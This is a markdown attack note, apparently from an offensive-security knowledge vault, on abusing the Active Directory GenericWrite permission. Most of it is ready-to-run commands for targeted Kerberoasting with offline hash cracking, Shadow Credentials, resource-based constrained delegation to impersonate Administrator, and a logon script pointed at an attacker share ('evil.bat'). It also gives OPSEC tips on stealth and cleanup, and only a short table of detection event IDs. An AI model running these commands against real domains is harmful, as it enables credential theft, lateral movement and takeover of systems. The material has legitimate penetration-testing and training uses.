--- title: "Attack #20 β€” GenericWrite Abuse" description: "GenericWrite allows an attacker to write to any non-protected attribute on a target AD object. While it doesn't grant full control like GenericAll, it…" category: active-directory subcategory: "ACL Abuse" tags: ["active-directory", "kerberos", "hashing"] tools: ["Rubeus", "Certipy", "Hashcat", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟑 Attack #20 β€” GenericWrite Abuse.md" --- # 🟑 Attack #20 β€” GenericWrite Abuse *** ## πŸ“– How It Works GenericWrite allows an attacker to **write to any non-protected attribute** on a target AD object. While it doesn't grant full control like GenericAll, it enables several powerful exploitation paths: **Targeted Kerberoasting** (set an SPN on a user, roast their hash), **Shadow Credentials** (write to `msDS-KeyCredentialLink` for passwordless auth), **logon script modification**, and **RBCD configuration** (write to `msDS-AllowedToActOnBehalfOfOtherIdentity` on computers). ### Exploitation Methods by Target Type | Target Type | Method | What You Write | Result | |---|---|---|---| | **User** | Targeted Kerberoasting | `servicePrincipalName` | Crack their hash offline | | **User** | Shadow Credentials | `msDS-KeyCredentialLink` | Auth as target via PKINIT | | **User** | Logon Script | `scriptPath` | Code execution on next logon | | **Computer** | RBCD | `msDS-AllowedToActOnBehalfOfOtherIdentity` | Impersonate any user to that host | | **Computer** | Shadow Credentials | `msDS-KeyCredentialLink` | Auth as that computer | | **Group** | ❌ Cannot add members | N/A | GenericWrite β‰  WriteMembers for groups | *** ## βš™οΈ Prerequisites | Requirement | Detail | |---|---| | **GenericWrite ACE on target** | Must exist in the target object's DACL | | **Domain user account** | Any authenticated domain user | *** ## πŸ› οΈ Tools | Tool | Platform | Notes | |---|---|---| | **PowerView** | Windows | `Set-DomainObject` for attribute manipulation | | **Whisker** | Windows | Shadow Credentials exploitation | | **pyWhisker** | Linux | Python Shadow Credentials tool | | **Certipy** | Linux | `shadow auto` for automated Shadow Creds | | **Rubeus** | Windows | Kerberoasting, PKINIT auth | | **bloodyAD** | Linux | All-in-one AD exploitation | *** ## πŸ’» Full Commands ### πŸ”΄ Method 1 β€” Targeted Kerberoasting ```powershell # ── Set SPN on target user ──────────────────────────────────────────────────── Set-DomainObject -Identity targetadmin -Set @{serviceprincipalname='fake/kerberoast'} # ── Roast the hash ──────────────────────────────────────────────────────────── .\Rubeus.exe kerberoast /user:targetadmin /outfile:roast.txt # ── Crack offline ───────────────────────────────────────────────────────────── hashcat -m 13100 roast.txt rockyou.txt --force # ── Clean up β€” remove the SPN ──────────────────────────────────────────────── Set-DomainObject -Identity targetadmin -Clear serviceprincipalname ``` ```bash # ── Linux β€” targeted kerberoasting ──────────────────────────────────────────── # Set SPN via bloodyAD bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ set object targetadmin servicePrincipalName -v 'fake/kerberoast' # Roast GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \ -request-user targetadmin -outputfile roast.txt # Clean up bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ set object targetadmin servicePrincipalName ``` ### πŸ”΄ Method 2 β€” Shadow Credentials ```powershell # ── Whisker β€” add shadow credential to target user ─────────────────────────── .\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local # Outputs a Rubeus command to request TGT with the new key credential # Run the outputted Rubeus command to get a TGT as targetadmin ``` ```bash # ── pyWhisker ───────────────────────────────────────────────────────────────── python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ --target targetadmin --action add --dc-ip 10.10.10.10 # ── Certipy shadow auto (easiest) ──────────────────────────────────────────── certipy shadow auto -u low_user@corp.local -p 'Password1' \ -account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local # Outputs: NT hash and TGT for targetadmin ``` ### πŸ”΄ Method 3 β€” RBCD (on Computer objects) ```bash # ── Configure RBCD on target computer ───────────────────────────────────────── addcomputer.py -computer-name 'FAKE$' -computer-pass 'Pass123!' \ -dc-ip 10.10.10.10 corp.local/low_user:'Password1' rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' \ -action write -dc-ip 10.10.10.10 corp.local/low_user:'Password1' getST.py -spn cifs/TARGET.corp.local -impersonate Administrator \ -dc-ip 10.10.10.10 corp.local/'FAKE$':'Pass123!' export KRB5CCNAME=Administrator@cifs_TARGET.corp.local@CORP.LOCAL.ccache psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local ``` ### πŸ”΄ Method 4 β€” Logon Script Modification ```powershell # ── Set malicious logon script path ─────────────────────────────────────────── Set-DomainObject -Identity targetadmin -Set @{scriptpath='\\ATTACKER\share\evil.bat'} # Next time targetadmin logs in, evil.bat executes in their context ``` *** ## 🎯 OPSEC Tips - **Shadow Credentials is the stealthiest method** β€” original password unchanged, persistent access - **Targeted Kerberoasting requires cleanup** β€” always remove the SPN after getting the hash - **GenericWrite on groups does NOT let you add members** β€” you need WriteMembers or GenericAll for that - **Monitor Event 5136** for all methods β€” it catches attribute modifications *** ## πŸ›‘οΈ Detection β€” Event IDs | Event ID | Source | What to Look For | |---|---|---| | **5136** | Security Log (DC) | Attribute modification: `servicePrincipalName`, `msDS-KeyCredentialLink`, `scriptPath`, `msDS-AllowedToActOnBehalfOfOtherIdentity` | | **4738** | Security Log (DC) | User account changed β€” SPN modification | | **4741** | Security Log (DC) | Computer account created (RBCD path) | *** ## πŸ”— Attack Chain Context ``` [GenericWrite] ──→ Multiple Escalation Paths β”‚ β”œβ”€β”€β†’ 🎫 Targeted Kerberoasting β†’ crack password β†’ impersonate user β”œβ”€β”€β†’ πŸ”‘ Shadow Credentials β†’ passwordless auth as target β”œβ”€β”€β†’ πŸ’» RBCD on computers β†’ impersonate DA to that host β”œβ”€β”€β†’ πŸ“‹ Logon script β†’ code execution on target's next logon └──→ πŸ’€ Defeated by: ACL auditing, monitor 5136, least privilege ``` *** > βœ… **Attack #20 β€” GenericWrite Abuse complete.**